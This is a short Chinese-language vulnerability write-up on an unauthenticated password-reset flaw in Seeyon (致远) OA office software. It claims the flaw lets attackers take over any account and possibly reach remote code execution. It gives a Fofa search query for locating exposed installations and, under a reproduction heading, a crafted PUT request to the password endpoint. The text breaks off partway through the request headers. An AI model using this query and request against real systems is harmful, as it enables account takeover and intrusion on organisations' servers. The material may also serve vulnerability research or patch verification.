简介
致远OA是北京致远互联软件股份有限公司开发的一套办公自动化软件。
漏洞描述
致远OA 存在密码重置漏洞,未授权的攻击者在知道用户名的情况下,可以构造特制的请求包,从而修改用户密码,登录系统后台。攻击者可以利用此漏洞修改任意账号的密码,进而登录系统并获取密码被修改账号的访问权限,进一步的利用后台接口可以导致远程代码执行。
影响版本
致远OA
Fofa:
app="致远互联-OA"
漏洞复现
使用以下构造的PUT数据包重置用户密码
PUT /seeyon/rest/orgMember/-4401606663639775639/password/genericController.do HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: